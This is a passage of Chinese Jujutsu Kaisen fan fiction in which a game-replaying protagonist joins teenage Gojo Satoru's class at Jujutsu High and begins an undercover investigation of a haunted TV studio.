只是这时,他的发型还不像个菠萝,也没有戴墨镜,看起来也没有那么沧桑,更像是会去打橄榄球或者棒球的肌肉型壮汉。 “羽取一真吗?” 夜蛾正道看了眼手中的文件,确认照片里的样貌能和眼前这位少年对上。 “是我。” 给他开门的羽取一真点头。 “抱歉来迟了,一年级的新生里出现了个身份有点麻烦的家伙,明明是天赋异禀的家系术师却非要来高专上学,家里怎么都劝不听。” 夜蛾正道拇指压了压太阳穴,显然这两天给他累得不轻。 “家系术师?” 已经猜到是谁的羽取一真仍然配合问道。 “就是禅院、加茂和五条,组合起来的御三家,算是始终维系咒术界不散的三大核心家族吧。” 夜蛾正道带着这位看起来格外冷静且沉稳的黑发少年下楼,坐车前往高专的路上时,顺道也给对方简单科普道。 “相对普通人而言,继承了千年前阴阳师血脉的御三家后代比较容易拥有术式,如果是祖传术式则威力更大。” “而像你这样父母都是普通人,自身却觉醒出术式的情况,还挺少见的。” “原来如此。” 羽取一真点了点头,看向展开在眼前的技能浮窗。 【咒力(四级):一切技能使用的基础。可通过各种方式来提高咒力上限,获得更持续的作战时间。】 【黑闪(四级):威力为普通攻击的2.5次方。使用时将消耗大量咒力。】 【十方摩诃(核心)(四级):您将拥有操纵一定范围内的空间进行战斗的能力。可通过不断战斗来提高熟练度,解锁更多相关技能。】 与一周目的加茂祖传术式[赤血操术]不同,他这次的核心技能被重置成了一个从没听过的生得术式。 和空间相关……听起来似乎很厉害,但延伸出的技能并不没有操控血液的[赤血操术]那般灵活多变,只有顺转和逆转两种。 还都是深灰色的锁定状态。 “不过,你的另外两位同期也是非家系术师,倒也不必压力太大。” 带着人来到教室门前,夜蛾正道似乎将羽取一真盯着浮窗的动作误认为是紧张了,便抬手拍了拍他肩膀。 “总而言之,先尝试着和大家好好相处吧。” 那扇类似障子门的教室大门被打开,羽取一真被夜蛾正道轻推了一把肩头,让他走进去—— 那双熟悉的、漂亮的苍瞳闻声转过来,透过遮挡并不严实的墨镜缝隙,与他对视了个正着。 “哎呀老师,” 比记忆里更轻快的,宛若撒娇的长腔被拖得长长的,却又透出少年特有的意气与活力,骄傲着、明亮着,像雪夜里陡然升起的一捧篝火。 “他就是你要去接的第四位新生吗?” “呜哇,有点阴沉啊。”趴在旁边课桌上的女生嘀咕出声,“是很难接近的类型吧。” “是吗?” 尚且是15岁的白发少年撑着脑袋,那双苍瞳又认真的来回扫视羽取一真好几遍。 “什么阴沉,一眼就能看出他超呆的啦。” 听到这句,试图绷紧表情的羽取一真,唇角却已克制不住的先弯起来。 第60章 面对被说[超呆]也没有生气、反而露出点明显笑意的羽取一真, 白发少年神气的朝隔壁女生抛过去一个表情,大意就是“看我说得没错吧?我看人超准的!”。 留着齐肩棕发的女生尚未再开口回应,夜蛾正道先一步出声制止这两位继续对羽取一真进行评头论足。 “好了, 这位的名字是羽取一真, 既不是[超呆的]也不是[有点阴沉]。” 夜蛾正道在黑板写下[羽取一真]这几个字,转头正要继续说完时,才发现少了个人。 “你们也做个自我介绍,互相熟悉下……嗯,还有一个人呢?” “你好,我是家入硝子。” 棕发女生有气无力似的抬了下手, 全然没什么干劲的模样。 “五条悟——” 与之相对的,白发少年高高举起一只手时, 仍旧保持着另一只手托腮的姿势, 连念起自己名字的语调也是懒洋洋的, 听着好似想躺在窗外的阳光里惬意打个盹, 而非坐在这上课。 “杰的话去上厕所了,马上就回来——喏, 回来了。” 此时此刻的五条悟还没有满16岁,身形比羽取一真见过的漂亮大悟要纤瘦许多,尚未彻底长开的姿态让他的动作看起来更轻盈,连带并不遮掩半分的情绪也随之显出一份少年独有的活泼与意气, 好似刚学会奔跑在山林间的敏捷幼豹。 这是一颗还没有被那些压力长年累月锉磨的, 仍闪闪发亮的宝石,对着太阳时, 会泛出极为剔透的、晶莹的粼粼波光,宛若夏季的晴空倒映在湖面。 羽取一真由衷庆幸自己打开了二周目。 他甚至没顾得上转头看一眼从教室门走回来的另一位同学,直到对方开口—— “抱歉去了趟厕所, 夜蛾老师,这是你去接回来的新同学吗?” 羽取一真:“…………” 羽取一真:“?!” 这熟悉的声线。 这熟悉的咬字与发音。 当他转过视线时,也不出意外的看到了垂落在一侧的单边黑色刘海,带着耳钉——唯一区别是将黑色长发扎成了个丸子——的男生。 连样貌都与那时他见到的几乎一样。 而此刻,对方还在斯文的向他做自我介绍。 “你好,我叫夏油,夏油杰。” 羽取一真沉默了。 连名字都一样?这就是未来那个会穿着奇怪袈裟的反派BOSS,大概率跟他同归于尽的那家伙? 想想确实也有可能,他都能顶着【盘星教圣子】的身份进高专卧底还有人从内部照应,那么再来一个[同期学生在未来反转成为策划一切阴谋的幕后黑手]的这种抓马剧情,倒也不算少见。 啧……现在能先杀了他吗。 羽取一真在心底蠢蠢欲动了半晌,还是先遗憾放弃了。 首先他现在只有四级,基本可以断定他打不过对方。 其次对方的名字已经显示在【社交】界面里了,只有[夏油杰]这几个字,既没有跟着已故,更没有打上问号。 也就是说,他目前见到的夏油杰,可能还不是未来的反派BOSS完全体。 羽取一真认真审视起夏油杰,直到把后者都盯得有点发毛,才在心底恍然大悟。 他就说怎么看都好像缺了点什么……横贯额头的那道缝合线。 “你总盯着杰做什么?” 羽取一真的思路被五条悟困惑的出声打断——但就在他想出一个合适的理由前,就先听到对方兴致勃勃的开口。 “啊,你是不是也觉得杰的刘海超怪,穿着的制服也奇怪?我可以跟你下保证,他可不是进高专之后才被带歪了哦!这家伙也不知道从哪本书上看来的灵感,竟然能搞出这种又像朋克又像不良的奇怪视觉系耶。” “……我这不是朋克也不是不良,更不是奇怪视觉系。” 夏油杰可不能容许五条悟随便定义他的审美风格,“这是我从三年前……” “唔啊——” 夏油杰正要详细阐述他对于发型以及高专制服的设计理念,就被五条悟那声拉得长长的语气词打断了,还要嘟嘟囔囔的抱怨。 “从三年前开始?你打算要讲的故事竟然有这么长?我不想听——” 这句[我不想听]被拖长尾音后显得有点软绵绵的,比起断然拒绝,更接近于耍赖似的撒娇。 夏油杰:“……………” 拳头有点硬了。 好在,还有夜蛾校长帮忙维持班级秩序,不至于让三个刚认识没多久的同学上演当场拆家。 为什么是三个?因为要是夏油杰真的跟五条悟打起来,羽取一真就会立刻加入五条悟这边,形成二打一的局面。 单挑,什么单挑,能群殴解决的战斗,凭什么要单挑。 “各位,注意课堂纪律,我还站在这里。” 对着这忽然就开始有点剑拔弩张的气氛苗头,夜蛾正道又感到心累累的,挥手把它按回去。 “杰,你先坐回去。” “还有悟,你先别开口。” “一真,你的制服这两天就会送过来,有什么想要改动的地方吗?我们允许学生在一定范围内,对制服的元素进行重新设计。” 夜蛾正道早就替他安排好了张空余的课桌,此时也是在让羽取一真坐回去前,先询问下他对于高专制服的意见。 这也是为什么夏油杰和五条悟都是男性制服,款式却截然不同的原因。 见到羽取一真朝五条悟的方向看了好几眼,夜蛾正道主动开口。 “他没有添加任何改动,是最普通的原版男性制服款式。” “我也一样,没什么想加的。” 羽取一真立刻回道。 “行,那你先去空位上坐好。” 夜蛾正道指向五条悟的右方,那里新摆了张空桌椅,是留给羽取一真的。 不仅是十年后的咒术高专学生少,五条悟入学时的这届新生同样极少,就算加上羽取一真,也只有四个人。 而现在的位置从左往右分别是家入硝子、夏油杰、五条悟和羽取一真。 羽取一真来到他的空位坐下时,五条悟还转过头来,一只手捏着墨镜腿抬起,露出那双又圆又微挑的苍瞳,猫似的冲他眨了眨,格外狡黠又调皮。 动作、神态,皆与11年后的他如出一辙。 羽取一真面上极为克制,只回以平淡的颔首,但心底却已为他涌上了一阵明快的、欢喜的高兴情绪。 原来,就算被数不清的压力反复锉磨过十数年载,五条悟始终都只是五条悟,一直也不曾改变。 “既然一年级新生已经到齐,我们会在下周开始安排实战课程。” 夜蛾正道撑着讲台,神情严肃——说是[实战课程],但危险性半点不少,是需要让学生们实打实去祓除咒灵的。 往年也会有出于各种原因而丧命在任务里的学生,这甚至并不是多稀奇的事情。 “杰,你和会反转术式的硝子一组,至少不用太过担心性命安全——但还是要谨慎,我相信你不会浮躁,只是咒灵也分很多种,哪怕是你曾见过的同类型咒灵,攻击手段也未必雷同。” “是,夜蛾老师。” 见夏油杰和家入硝子应下,夜蛾正道将目光转向五条悟和羽取一真。 “悟,你在入学前已经有着丰富的咒灵祓除经验了,到时候跟一真同组,带他熟悉下祓除咒灵的流程。” “好哦。” 五条悟可无可有的应了下来,对祓除咒灵根本没有丝毫紧张。 羽取一真:“…………” 直到此时,羽取一真才后知后觉想起来。 这周目,可没有漂亮大悟带他坐火箭似的刷级了! “已经定好是什么任务了吗?” “[演播室闹鬼事件],” 夜蛾正道说。 “到时候,需要你们自己调查清楚事件真相。如果有咒灵,就将其祓除。” 60-80 第61章 在玩二周目前, 羽取一真也没想到自己不仅要在现实世界上学,玩游戏竟然还要继续上学。 幸好在这个一年级只有四个新生的咒术高专,连入学手续也办得相当随意。 羽取一真当天就拿到了他的学生卡, 上面写着四级咒术师。 他困惑抬眼看向夜蛾老师揣着教材离开的背影, 又再度看了眼对方递给自己的学生卡。 “怎么啦,名字搞错了?” 此刻已经是放学后的时间点,五条悟往后靠在椅背上,为接下来的闲暇时间而快乐伸了个放松筋骨的懒腰,朝羽取一真搭话道。 “没有,只是……” 羽取一真摇了下头, 又想了想,还是相当迟疑的出声问他。 “这个咒术师的评级, 好像没有要我做任何测试……?” 毕竟在一周目时, 伏黑惠入学还会通过祓除任务来判断他的评级, 怎么到他这里就直接定成了四级, 也没有问过他本人的意见。 五条悟凑过来看了眼上面【四】的标识,了然“噢”出一声, 很是无所谓的拍了拍他肩膀。 “那群老家伙就是这样的啦,非家系的术师一进来就先被默认成四级,因为以前从来没有过祓除咒灵的经验嘛。” ——他边说着,在羽取一真眼前比划了个[飞机滑翔然后咻一下升空]的手势, 动作超可爱。 “等你多做几个任务熟悉流程后, 就可以按照能够祓除的咒灵等级以及任务中的表现,进行相应的推荐晋升啦。哼哼, 到时候津贴也会跟着变多哦。” “原来是这样。” 没想到还有这种默认规则的羽取一真恍然,将那张学生卡收好,认真向五条悟道谢。 无论是一周目还是二周目, 五条悟都很详细的向他解释清楚了咒术界的许多背景与规则。 反而是五条悟有点不习惯被这样郑重的道谢似的,苍瞳肉眼可见地睁大了些许——哪怕隔着几乎隔绝了所有光线的墨镜,也能清楚想象出那双圆溜溜的猫瞳会在此刻到底有多可爱。 直到对着羽取一真眨巴几下,他才仿佛终于回过神来,冲人格外高兴的翘起嘴角。 “不愧是新来的,你很上道哦!我先带你去熟悉下学校啦,你还不知道食堂在哪里吧?话说宿舍呢,宿舍有告诉你在哪间没?” 五条悟也不清楚自己为什么会对这位今天刚来的新生越看越顺眼——但事实就是他现在已经抬手勾住人肩膀,把后者往外带。 “那就拜托你了。” 而羽取一真也顺着漂亮小悟的力道完全没挣扎,一路就这么跟着出了教室,只留下家入硝子和夏油杰面面相觑。 毕竟已经一起上过几天的课,夏油杰还是有点惊讶于对方那副过于和谐的场面——准确的说,是五条悟单方面的超开心。 当然,羽取一真总是习惯性没什么表情,对他几乎没有了解的夏油杰自然看不出这位黑发少年的心底同样早就高兴得没边。 就算他打二周目的目标并不是攻略漂亮小悟,但有能跟对方多贴贴一会的机会也是超棒的! “还是头一次看见悟这么热情……” “欸是吗——可能是因为你刘海太微妙了,他一眼就先纠结在你的发型上了吧?” 家入硝子专心剥着棒棒糖的糖纸,头也不抬的应答同期时,声音依旧是慵懒的毫无干劲。 “你看羽取不也对你的刘海很有意见吗?我看他一见到你就盯了好几秒呢。” 夏油杰:“…………” 他的发型到底是哪里有问题? ………… 由于咒术高专的人员真的很少,即使把所有年级的学生、辅助监督和教职工全部加起来也未必能凑够三位数,再加上大部分人员动不动就需要出差跑任务之类的,未必能在学校准点吃上几顿饭。 因此,咒术高专的食堂也和普通学校的食堂不同,是采用的点餐制,看完菜单后想吃什么就跟窗口说,然后厨师现做的类型。 按照五条悟的说法,他们平时自己也能在配置齐全的宿舍里解决早餐或者夜宵什么的啦,但像那种麻烦的拉面和寿喜烧之类的,还是去食堂点比较快啦。 “听说这里晚上还可以点酒哦——唔哇,是大人果汁呢。” 五条悟还偷偷和羽取一真咬耳朵,用一种半惊叹半稀奇的口吻对他说道。 “会想尝试吗?” 羽取一真好奇问五条悟。 虽然漂亮大悟说过自己是不能喝酒的类型,但他肯定也得先尝试过酒精,才能试出自己是不能喝酒的吧? “有想过偷偷点一杯试试,但那个大叔不给啊。” 五条悟鼓起了点腮帮,格外不满道。 他才刚从位于京都的五条家来到东京入学高专没多久,别说在家里时肯定不会允许他喝酒,这边也会以“你才15岁喝什么酒”为由把他从吧台赶走,超可恶的! 让他喝一口尝尝味道怎么了嘛。 羽取一真听得有点忍俊不禁,想跟五条悟说就算他以后到了能饮酒的年龄,也从不会碰酒精类饮品。 喜不喜欢喝酒姑且不提,常年被各种任务占满排程也从不抱怨的他,怎么可能会允许自己喝酒,从而导致术式的输出功率不稳定呢。 但不满归不满,五条悟的情绪调节能力很好,转眼间就将这点不愉快抛之脑后,和羽取一真聊起晚上要来玩点什么打发时间。 相比常年繁忙无休的28岁,15岁的他显然还没有被赋予如此大的重担,在任务的间隔期仍旧有着足够他娱乐放松的私人时间。 “打篮球?玩游戏?看电视?拼乐高?” 他一根一根手指掰着数过去,又有点难以抉择似的蹙起眉毛。 “选择念书的话倒也可以,但我最近一直在钻研的术式反转没什么进展啊……虽然硝子会反转术式,但让她说原理时全用的拟声词,根——本听不懂啦。” 羽取一真看着一边用叉子扒拉餐盘里的奶油意面,一边露出苦恼表情的漂亮小悟,想了想当初漂亮大悟和他说过的反转术式技巧…… “我听说是将负向能量的咒力相乘,就可以得到正向能量。” 虽然他无论哪种都没听懂,但漂亮大悟自己总结出的经验,漂亮小悟应该能听懂吧? 这么想着的羽取一真,对上陡然看向他的五条悟。 “……相乘?” 五条悟困惑复述一遍——为了传达他的诧异,甚至连墨镜都被特意摘了下来,露出那双干净又漂亮的苍瞳眨巴眨巴,期待盯着羽取一真继续为他解惑。 “负负得正这种基本的数学丨运算法则我懂,但咒力怎样才算相乘?毕竟我又不能直接在体内写公式。” 这话就把只能靠系统辅助才能用出技能的羽取一真问得默默摇头。 “不知道,我也不会这个……只是听人说的。” 听漂亮大悟说的。 “这样啊,” 听羽取一真说他也不会,五条悟超级失落的叹出口气,将墨镜戴了回去。 “你的[听说]其实挺有道理的,我也在家里那些介绍术式反转的书上见到过类似的描述……但总结是一回事,实践又是另外一回事啦,可恶。” 五条悟摇了摇脑袋,翘起的发梢亦随之一颤一颤,险些挡住了他的视线,又被指尖随意拨开,将那副镜片圆圆的墨镜戴了回去。 “不过这也算是好消息,知道自己研究的方向没错,就可以放心大胆的往这个课题继续尝试了!” 与28岁的五条老师不同,如今刚入学高专的五条悟还没有戴眼罩的习惯,纯白的短碎发总是格外活泼的四处支棱,就像他刚从管教严格的五条家出来,正对外界抱有的那份无与伦比的好奇与热情。 而且并不惧怕挫折。 羽取一真看着他,认真的、极为笃定的回道,“你肯定能成功的。” “咦,这么确信我能做到,” 五条悟歪过脑袋,从墨镜的缝隙里露出一点狐疑的雾蓝来,上下扫视这位新认识的黑发少年。 “该不会只是在敷衍我吧?” 虽然他是莫名其妙的看对方很顺眼啦,但这句话听起来莫名有点不爽,透着一种轻率的糊弄感。 五条悟仔细想了想,将这归咎于他从小到大,在五条家听到过太多次类似的话了——因为有这双特别的[六眼]存在。 如果因为这样就对黑发少年生气,反而显得他没有礼貌啦。 “没有,我这是预言。” ——正要出声收回这句话并道歉的五条悟,却听到对方这么回答道,声线沉稳平淡、不急不缓,就好像他说的这些话当真全是去往未来的亲眼所见。 “28岁的你告诉过我,你不仅成功了,还变得超厉害的。” 这话被对方说得铿锵有力、掷地有声,具备百分之百的信服度——个鬼啦! 五条悟这下是真的对着这位黑发少年哑然了。 明明怎么看都是超呆超认真、连表情也没有多少的家伙,竟然会这样一本正经的来哄他高兴? 过了片刻,五条悟没忍住漏出点笑声——于是便越笑越停不下来,甚至险些被尚未咽下去的意面呛到,只能灌一大口水来缓解。 “你这个人啊,” 他将滑落至鼻尖的墨镜推了回去,望过来的那点雾蓝仍旧是明亮的,透着点尚未完全褪去的愉快笑意。 “还真是超有趣的——” 即使换成了15岁的二周目,与羽取一真的初见事件也并不相同,五条悟仍旧对他说出了与一周目的28岁初见那时,近乎完全相同的评价。 第62章 最后, 无论打游戏还是拼乐高,五条悟都拉着羽取一真陪他玩了个遍。 尤其是打双人动作游戏,五条悟发现羽取一真跟他超有默契的! 竟然完全不需要沟通, 对方就能知道该怎么和他合作攻击敌人耶! 五条悟甚至会拿这个去跟家入硝子还有夏油杰格外神气的炫耀, 以此论证羽取一真绝对是和他心有灵犀的超级好哥们! 羽取一真按在教材上的手指下意识蹭了蹭书页边缘,佯装在认真看字,实则对这份夸奖有点心虚。 那是因为他在一周目的时候,和同样喜欢拉着他打游戏的悟狠狠磨合了好久来着…… 不过,他完全不介意漂亮小悟因为这些小事而高高兴兴的,还特意拿出去炫耀。 无忧无虑的, 连一手勾着他脖颈,另一只手得意冲同期比耶的姿势也超可爱。 羽取一真默默想道。 除此之外, 上课讲的东西就很没劲了。 这里的没劲体现在两方面——关于咒力的知识, 他基本属于有听懂有记住但就是压根用不了;关于一般社会学科的知识, 则太基础了, 基础到感觉他上台讲都能更深奥点。 尤其是数理相关的,看得出来五条悟也听得超无聊, 一直在打瞌睡。 因为[数学基础]这门不是夜蛾老师教,就算他光明正大的在犯困,讲台上的老师也不好斥责。 尤其是在课堂摸底测验时,对方直接拿了满分, 甚至给他抱怨题目太简单的情况下。 在一周目就听过对方解释的羽取一真, 很能理解五条悟此刻百无聊赖的状态。 使用[无下限]术式可不是[六眼]一睁就完事了——[六眼]只是赋予了五条悟操作原子级别咒力的可能性,而并非是什么游戏作弊器, 代码一敲即刻使用。 要如何将[无下限]带入现实,成为一种可持续的攻击或防御的手段,乃至延伸出更多的使用技巧, 是需要五条悟对大量高深的数学原理与公式烂熟于心,才能够逐步开发出来,并应用到现实的。 因此,五条悟早早就在家里自学了微积分——更别提为了看懂微积分而需要提前打牢的那些数理基础。 这才是他真正让人感到了不起的地方。 羽取一真同样正走神,突然发现在课桌不足五厘米的上空,突然掉下了个捏得小小的纸团。 一看就是从草稿本上撕下来的,边缘极不整齐,还带着一点点毛糙的边。 “……?” 因为这个纸团出现得过于突兀,羽取一真疑惑盯着它看了几秒,才恍然转过视线,正对上那双亮晶晶的期待苍瞳。 见他终于看过来,对方还冲他眨了下单眼,然后用眼神示意快打开。 五条悟……竟然为了在老师的眼皮底下传纸条,而悄咪咪对着他们之间的空间使用极微小的[苍],来压缩纸团与他课桌上方之间的距离吗。 羽取一真默默展开那张被揉皱的纸团,看见上面写了几个字。 [超无聊,快想想怎么打发时间啦——] 连后面为了代表声音拖长的横杠也被画得歪歪扭扭,险些成了一条长长的波浪号。 底下还有他给自己画的Q版小人头像,正将嘴巴撇成了[へ]的形状,一看就正不满着,但因为Q版小人头实在被画太可爱了,变成了好像在冲人撒娇。 头一次接到这种课上纸条的羽取一真,忍不住在心底笑起来。 这家伙,真是用超级鬼才的操作,干出件特别可爱的事情啊…… 想了想,他也从自己的草稿纸上撕下一张,在最上方写道—— [来玩五子连珠棋吧,一人画空心圈,一人画涂黑圈。赢的人请客吃草莓大福。] 这本草稿纸自带田字格,拿来当棋盘正合适。 和能够用[苍]来瞬移纸团的五条悟不同,羽取一真只能将这张纸叠了叠,然后借着课桌的遮掩,悄悄递给坐在左边的五条悟。 收到这张纸的五条悟眼睛一亮,立刻开始动手画个圈涂黑,然后递回给羽取一真,也不用[苍]了。 就这样一来一往,两人下了大半节课的棋,互相绞尽脑汁地堵死对方的路,直到将这页纸画满,也没有谁能将五颗棋连成线。 这节课上完后就放学了,明天则要去完成[实战课程]布置的任务,准备提早一天出发的家入硝子和夏油杰临走前还过来围观。 “还以为你们在课上偷偷摸摸干什么,竟然在下连珠棋?” 家入硝子撑着脑袋看完这页纸,发现是平局后就没兴趣了。 “没分出胜负嘛。” “不哦,是我赢了。” 五条悟立刻反驳——接着,他找到一处连着四颗涂黑圈,但上下都被空心圈堵死的位置,便挑了颗空心圈几笔涂黑成实心的,得意哼哼笑道。 “看,五子连珠成功——我请客吃草莓大福!走啦走啦!” 家入硝子:“……噫。” 五条悟假装没听见这声嫌弃。 之前想赢是好胜心作祟,但要是最终平局导致两个人都吃不上草莓大福可怎么办! 听从想吃草莓大福内心的五条悟,从善如流地使用了点小小的手段,立刻收起那张纸宣布是他的胜利,然后就可以请一真出门吃大福啦! 他这么聪明,当然要吃两个! “悟,你都没问过一真喜不喜欢吃甜食呢。”夏油杰提醒道。 “我吃。” 羽取一真秒速回答。 “你看他说吃哦!” 五条悟拉着羽取一真跨出门的脚步刚停了半拍,立刻又神气十足的继续往外走。 细碎的纯白发丝随走动一晃一晃,又被风吹拂得微微摇曳,在灿烂又温暖的阳光里折射出浅浅的柔和光晕,看起来漂亮极了。 身为白毛控的羽取一真足足盯了好几秒,才默默收回视线。 无论28岁的悟还是15岁的悟,对他的杀伤力都太大……根本不需要出手,他就倒下了。 随着对方收回投在自己身上的目光,五条悟也在心底思考起一个问题。 一真这小子之前也是动不动就走神盯着自己的脑袋瞧个不停,难道他的魅力点就只有……头发? 不是吧? 他这么聪明体贴又可爱的帅哥,对方最关注的地方就只有头发吗?? 哪怕吃上了心心念念的草莓大福,五条悟也独自纠结了许久,最后下定决心。 明天就要出发去做任务了,到时候一定让他看看身为咒术界前辈的自己到底有多可靠! 羽取一真咬了口草莓大福,有点疑惑看向漂亮小悟。 怎么光气势汹汹拿着草莓大福,却不继续吃了呢……难道和上次的辣咖喱味蒙布朗一样,不合口味? 唔,看来他得再学学草莓大福怎么做了。 ………… 转天。 五条悟起了个大早,去敲羽取一真的宿舍门。 说起他们这次的任务——[演播室闹鬼事件],由于夜蛾正道提前一周就透露了,五条悟和羽取一真自然也会提前去网络上查找相关的资料,然后跟拿到的任务情报做比对。 “这些都是从论坛上收集来的传闻,据说是有个小艺人在演播室里录节目的时候,被毁容了。” 辅助监督在开车送他们去往任务地点的路上时,详细又介绍了一遍他们接下这个任务的前因后果。 这件事能被传成闹鬼的灵异事件,是因为前段时间的某天早上,清洁工在打扫电视台大楼时,意外发现了一具尸体。 她当即就报了警,但警察在现场没有找到任何指纹、脚印以及除受害者以外的血液痕迹。 询问过当时下夜班的同事以及门口值守的保安,都说他们是一起下班的,途中受害者说要回去拿下被遗忘的钥匙,就让其余人先回去了。 而几个关键地点的监控设备又恰好在那晚坏了,没能保存到任何录像。 这样一来,警察也无法判断他们是集体串口供,还是受害者真的只是一个人返回大楼里。 而且受害者本身似乎也没得罪过什么人,一直以来也没和任何人发生过争吵。 这种没有任何线索的悬案是最麻烦的,警方想将这起案件定性成自杀结束,但由于迟迟未能破案的关系,这起案件很快在网络上被传开,并在某个论坛上以[灵异]、[闹鬼]的角度重新解构,越传越广,最后变成了递交到羽取一真和五条悟手上的任务情报。 “老实说,这起案件是不是真的咒灵干的,都已经不重要了。” 将车停在电视台附近的停车场,辅助监督对羽取一真和五条悟说道。 “了解,关键在于[人们对这个传闻所不断产生、积累、沉淀的负面情绪,才是迟早会催生出咒灵的麻烦]……对吧。” 坐在后座的五条悟懒洋洋开口,一点就透。 “是的,就算警方那边已经用[自杀]来解决针对凶手而起的网络争端,也很难解决他们给咒术界带来的真正麻烦。” 辅助监督点头,“何况这起凶杀案,确实要比以往的普通人作案诡异许多。” “再加上电视台这个地点比较特殊,不能随便扯个理由就直接要求停摆,会给民众带来更大的恐慌……因此,按照跟我们沟通的警方高层要求,我们需要先在不疏散人群、保证电视台正常运行的情况下,找到真相。” “你的意思是,” 听到感兴趣内容的五条悟瞬间坐直身体,兴致勃勃的,赶路产生的那点困意顿时就全飞没了。 “我们要当侦探了!” “……不是。嗯,不完全是。” 辅助监督分别给羽取一真和五条悟发了张名片。 “目前安排给你们混入电视台的身份,是来试镜的新人。” 第63章 “试镜新人, 欸——我们这是准备转行当大明星了吗?” 五条悟接过那张名片,举起在眼前来回把玩了片刻,又把羽取一真的也拿过来比对, 发现给他们的这两张卡纸竟然制作得格外精致, 内容详尽,连所属的事务所都有。 怎么说,还挺像模像样的! “没办法,你们两位的年龄都太小,就算想要伪装成工作人员也不可能过关的,还会被举报雇佣童工……但如果是当模特、偶像或者演员这类艺人相关的行业, 就算年龄再小也可以有合理的说辞。” 毕竟如今出名早的童星比比皆是,吃青春饭的偶像更不必说。 辅助监督无奈看着这位明显过分雀跃的五条悟, 以及坐在他身边过于平静的羽取一真。 “由于这只是个不知道真假, 也不知道到底有没有咒灵作祟的传闻, 安排等级太低的咒术师有风险, 安排太高的又有点浪费战力,所以夜蛾老师才接过来, 作为实战训练来交给你们完成。” “这次任务期间产生的费用全部由高专报销,事务所也是我们联络后现挂上去的,哪怕电视台内部有人追查,也万无一失。” 等羽取一真和五条悟都下车后, 辅助监督从车窗里往外看, 对他们最后叮嘱道。 “我有给你们预约试镜,直接去前台登记就可以;有什么需求打电话给我就好, 我这边也要回去继续查找资料,看看能不能帮上点忙。” “总之,能查出真相最好;实在不行, 有咒灵就先祓除咒灵,但注意千万不要造成财产损坏。” “收到——” 目送辅助监督离开,五条悟便将羽取一真的名片还他,自己的揣在兜里——随即,他颇有点乐呵呵的拍平衣服,将袖口仔细抻平。 “试镜啊,这还真是从来没有经历过的任务体验耶。” 一听就超有意思! 五条悟的苍瞳在墨镜后闪闪发亮,期待的情绪多到让他走路都有点连蹦带跳的,然后就这么噗叽一下,整个上半身都趴在前台的接待员面前,把对方吓一跳。 随即,他特意摘下墨镜,漂亮的苍瞳眼巴巴盯着人眨呀眨。 “姐姐,我是五条悟哦——来参加节目的试镜——” 先是突然被超近距离的美颜冲击,接着又紧跟一声既甜又软的姐姐,直接把原本正襟危坐的前台小姐姐都给喊愣了,目光还直直对着五条悟,大脑已经彻底放空。 漂亮,实在很漂亮,还超会卖萌…… 过了好一会儿,她才不好意思的小声说了句抱歉,开始翻登记的预约本。 见到对方如此反应,五条悟表面上对着她笑眯眯的回[没关系啦——],苍瞳却偷偷往站在旁边的羽取一真身上瞥,内心又是升起点骄傲,又透出点不甘心似的愤愤。 所以说他的魅力点绝对!不是!只有头发而已! “啊找到了,是五条悟和羽取一真吧?” 前台小姐姐笑着抬起头,“去6楼左手边的第一间演播室哦,水野导播正在等你们啦。” “好哦,谢谢仁恵姐姐!” 第一次当明星不熟练,但敏锐瞄到她工作牌名字的五条悟冲人又眨了下单眼,非常有礼貌的道完谢后,才重新戴上墨镜,拉着羽取一真坐电梯去六楼。 山田仁恵默默目送那个不仅顶着张神级颜值,发音咬字还特别可爱的白发少年蹦跶着离开—— 然后,迅速低下头在电脑上打字,发内部邮件给她的同部门好姐妹。 [现在就去六楼,水野导播的那个节目,之后你会冲过来感谢我的。] “电视台里的工作人员真是好多啊。” 比起正在感叹五条悟颜值的前台小姐姐,五条悟本人倒是更惊讶于这些来来往往的工作人员。 “……为什么都盯着我看?” 他是对自己的脸很好看这件事有认知啦,但毕竟以前去的地方都不是对脸要求特别高的场所,干的又几乎都是祓除咒灵啊、追杀诅咒师啊之类与普通人毫无交集的任务。 以至于当他头一次被这么多人目光炽热的、毫不避讳的盯着脸打量时,五条悟本人反而感觉…有点发毛。 短短几步路的长廊让五条悟越走越慢,更是在某个时刻悄悄侧过去半步,试图让自己能躲在羽取一真身后,避开这些格外焦灼的目光。 这可不是他害怕了啊,而是[六眼]对视线的感知太敏锐了,会额外给大脑增加负担……对,没错,就是这样。 “因为你很好看。” 对于五条悟其实已经展现出一点心态怂怂的问题,羽取一真则仍然答得理所当然——甚至连他本人也认为这现象属于稀松平常。 他或许也同样能吸引到些许注意力,但五条悟本身属于稀少的天生白发蓝瞳,神采飞扬间显得精致而灵动,又透出少年独有的纤细与锋芒,无论怎么看都是极特殊的、令人过目不忘的漂亮。 因此,当漂亮小悟走在电视台大楼里时,他会受到大家欢迎这件事,本来就应该是再正常不过的表现了。 但听到羽取一真的回答,五条悟正要流露出点紧张的表情反而顿住了。 在尚且没分辨清楚自己此刻的情绪是不是高兴之前,他先格外狐疑的转头开口问道。 “你真的也这么觉得?” 羽取一真:“嗯。” 五条悟若有所思:“是吗………那你之前为什么总是只盯着我头发看?” 羽取一真的表情一僵:“…………” 白毛控·羽取一真,发出战术性咳嗽。 原来早就被发现了吗……可这也不知道该如何跟他解释,要是自己诚实的回答只是单纯中意白毛,结果对方完全不信怎么办…… 幸好这段路够短,短得羽取一真不需要绞尽脑汁的想出一个合理解释,演播室就已经到了。 这间演播室就是论坛散播的灵异事件中所描述的,闹鬼地点。 五条悟和羽取一真进来时,里面的氛围格外嘈杂且忙碌,扛着各种道具或设备跑来跑去的工作人员,或坐或站的嘉宾正在聊天,以及角落里还有一堆整理衣服的、检查妆容的、互相打气的,用手机联络的……应该就是准备试镜的艺人了。 即使以前从没有来过这种地方,头脑极聪明的五条悟只扫了圈演播室的大概布局,便立刻找准了他和羽取一真要去的位置,兴致冲冲的拉着人往那角落里走。 “嗨——你也是来试镜的吗?我叫五条悟哦,他是羽取一真。” 五条悟的情绪格外高涨——或许是是第一次体验当艺人,也或许是当然被羽取一真夸了他很帅——总之,此刻的他很有聊天欲,主动跟一位孤零零站在角落里的少女搭话,开始循序渐进的打听情况。 “咦,欸……” 在看清五条悟长相的瞬间,对方果然也晃了下神,才格外赧然的移开目光,小声回了句是的。 安静片刻,她好像才恍然反应过来似的,又补充一句自己叫佐木杏理。 “好哦,喊你杏理可以吗?你知道试镜什么时候开始吗?会不会要我们做点什么才艺展示之类的?” 说起才艺展示他可不怕,超一流的帅哥无论做什么都能达到超一流,就算要他当场唱歌也能信手拈来! 